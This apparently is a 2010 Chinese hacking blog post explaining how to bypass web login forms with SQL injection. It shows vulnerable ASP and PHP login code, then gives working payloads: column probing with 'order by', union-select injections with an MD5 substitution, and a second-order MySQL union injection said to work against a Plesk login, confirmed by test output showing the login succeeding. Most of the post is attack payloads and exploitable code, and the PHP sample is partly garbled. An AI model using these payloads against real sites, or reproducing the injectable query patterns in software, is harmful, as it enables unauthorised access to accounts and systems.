分类: WINDOWS
2010-11-02 15:03:15
—————————asp代码—————————————–
username = request.form("username") password = request.form("password ") set rs=server.createobject("adodb.recordset") sql = "select [password] from admin where UserName='"&username&"'" rs.open sql,conn,1,3 If password = rs("password") then …’登陆成功 End if ——————————————————————————————————–
现在很多站点都是这种验证方式,用’ or ‘1′=’就不行了。比如这个站
用户名处输入一个单引号出错(有的时候也不一定出错),然后’ order by 2–正确 ,’ order by 3– 正确,’ order by 4–出错,只有3列,用户名输入用’union select 1,1,1– ,因为用户名没有为空的记录,所以union出来的所有字段值都是1,密码再填1登陆进去了…..
还有一种验证方式密码有md5比较,所以’union select 1,1,1……当中用1的md5值替换其中一个1(其中一个是密码字段),密码填1依然可以绕过。
如果是mysql的话可以搞二次攻击,以下是2月文章:
今天看到这个帖子,佩服各牛突然觉得这个Mysql + plesk 怎么有点鸡肋。我没有源码,只好通过出错信息来fuzzer。没想到一下就YY了半天。。。
看出错信息:
DB query failed: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to
use near ’;–” at line 1
———————- Debug Info ——————————-
0: plib\common_func.php3:243
db_query(string ’select id from admin_aliases where login=” union select login from admin_aliases;–”)
1: plib\class.AdminAlias.php:313
AdminAlias::findId(string ” union select login from admin_aliases;–’)
2: plib\cmd_loginup.php:147
createSession(string ” union select login from admin_aliases;–’, string ’******************************************’)
3: htdocs\login_up.php3:27
从SQL语句中可以大概猜测,这个login是字符类型的,而ID确是int类型,在MSSQL中union通过显错来获取信息可以证明这一点。根据大多数的web程序来推测的话,验证过程大概是这样。
1.通过用户名到数据库里寻找到该用户的ID值进行第一步判断。
2.找到了,再用这个ID值去找管理员的信息,可以使密码,也可以是*了,呵呵。
3.对提交的密码进行加密,和上一个结果集比对
令人高兴的是,这个系统大方的给了我单引号用,单咋一看,我们union控制结果集来绕过验证的常规思路似乎行不通。因为第一步只查找了那该死的
ID。MSSQL报错。。报错。。那么MSSQL是个严谨的绅士,那MYSQL呢,我印象里他是个对类型不敏感的小流氓。这让人兴奋,我写了个小脚本来模
拟这种“鸡肋”登陆注入的验证过程。
test.php
”; $result = mysql_query($query) or
die(‘Query failed: ’ . mysql_error()); $line =
mysql_fetch_array($result,MYSQL_ASSOC); $user_id = $line[id]; $query
= ”SELECT * FROM admin where id=$user_id”; echo
”执行的SQL语句为:$query
”; $result = mysql_query($query) or
die(‘Query failed: ’ . mysql_error()); $line =
mysql_fetch_array($result,MYSQL_ASSOC); //验证开始 if ($line[pwd] ==
$pwd){ echo ”验证成功!
”; } else { echo ”验证失败!
”; }
mysql_free_result($result); mysql_close($link); ?> login.htm
mysql> create table admin(uid varchar(10),pwd varchar(10),id int);
Query OK, 0 rows affected (0.08 sec)
mysql> select * from admin;
+——-+——–+——+
uid pwd id
+——-+——–+——+
admin fuckme 1
+——-+——–+——+
1 row in set (0.00 sec)
测了下验证程序ok,来测试mysql 一下语句
mysql> select id from admin union select 1;
+——+
id
+——+
1
+——+
1 row in set (0.00 sec)
mysql> select id from admin union select ’fuckme,please’;
+—————+
id
+—————+
1
fuckme,please
+—————+
2 rows in set (0.02 sec)
很好,Mysql果然没让人失望,这样意味着我们能控制$line[id]这个值了,他传递给$user_id到了第二个SQL语句中。继续在mysql里意淫:
mysql> select id from admin union select ’0 union select 1,2,3#’;
+———————–+
id
+———————–+
1
0 union select 1,2,3#
+———————–+
2 rows in set (0.00 sec)
这个时候按照理论上讲 我们在用户名那里提交:
‘union select ’-1 union select 1,1,1#’# 密码填 1就可以验证成功了,这些推理过程不说了,我不能班门弄斧啊
程序输出:
执行的SQL语句为:
SELECT id FROM admin where uid=” and 1=2 union select ’-1 union select 1,1,1#’#’
执行的SQL语句为:
SELECT * FROM admin where id=-1 union select 1,1,1#
验证成功!